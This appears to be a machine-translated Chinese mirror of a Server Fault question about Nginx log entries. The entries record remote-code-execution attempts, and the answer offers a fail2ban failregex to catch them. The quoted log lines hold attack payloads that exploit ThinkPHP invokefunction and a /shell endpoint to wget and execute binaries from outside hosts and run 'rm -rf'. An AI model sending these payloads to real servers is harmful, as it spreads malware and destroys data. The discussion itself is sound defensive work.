首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >远程代码执行攻击

远程代码执行攻击
EN

Server Fault用户
提问于 2021-01-19 16:49:33
回答 1查看 506关注 0票数 0

这可能是一个非常愚蠢的问题,但我想确认一下。

我找到了这样的线条

代码语言:javascript
复制
93.71.247.71 - - [19/Jan/2021:17:37:59 +0100] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://88.218.16.198/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 173 "-" "Uirusu/2.0"

代码语言:javascript
复制
71.208.10.233 - - [19/Jan/2021:09:27:41 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws HTTP/1.1" 301 185 "-" "Hello, world"

在我的Nginx访问日志里。web搜索将我引向Fail2Ban &块远程代码执行Ubuntu & Cloudflare,在那里,人们建议通过服务器配置中的适当语句来捕获此类攻击。

但是,据我所见,服务器已经响应了400或301。因此,我的问题是:返回403的服务器配置(如我上面链接的问题的答案中所建议的)会有什么不同吗?

EN

回答 1

Server Fault用户

发布于 2021-01-26 15:01:55

至于额外的地点(返回403或其他),这确实取决于。无论如何,不建议直接监视访问日志,请阅读fail2ban wiki :最佳实践,特别是与寄生虫日志流量有关的部分。

至于失败消息,400确实已经“好”了,认为它是失败,而301是一个永久的重定向(您似乎在nginx中有一些规则这样做),所以认为代码本身的失败将是不正确的(您可以得到一些错误的合法用户请求)。因此,最好找到这个nginx规则(位置、重写等)并加以更正(使其更精确)。

无论哪种方式,用于上述消息的failregex都可以如下所示:

代码语言:javascript
复制
failregex = ^<HOST> \S+ \S+ \[\] (?:"[A-Z]+ [^"]*" 40(?![14])\d|"[A-Z]+ [^\?]+\?(?:[ \+]|%20)*cd(?:[ \+]|%20)+/tmp[^"]*" 301)

如您所见,它将匹配除401和404以外的每40x错误(您还可以使用更精确的模式,例如40[035] )。

但是它也包含了考虑301的部分|"[A-Z]+ [^\?]+\?(?:[ \+]|%20)*cd(?:[ \+]|%20)+/tmp[^"]*" 301,所以如果您修复了前面提到的弱nginx规则,就可以删除它,从而重定向这样的错误请求。但目前,它将只匹配包含以cd /tmp开头的查询字符串的消息(在cd之前和之后使用任何空格组合)。

票数 0
EN
页面原文内容由Server Fault提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://serverfault.com/questions/1050459

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档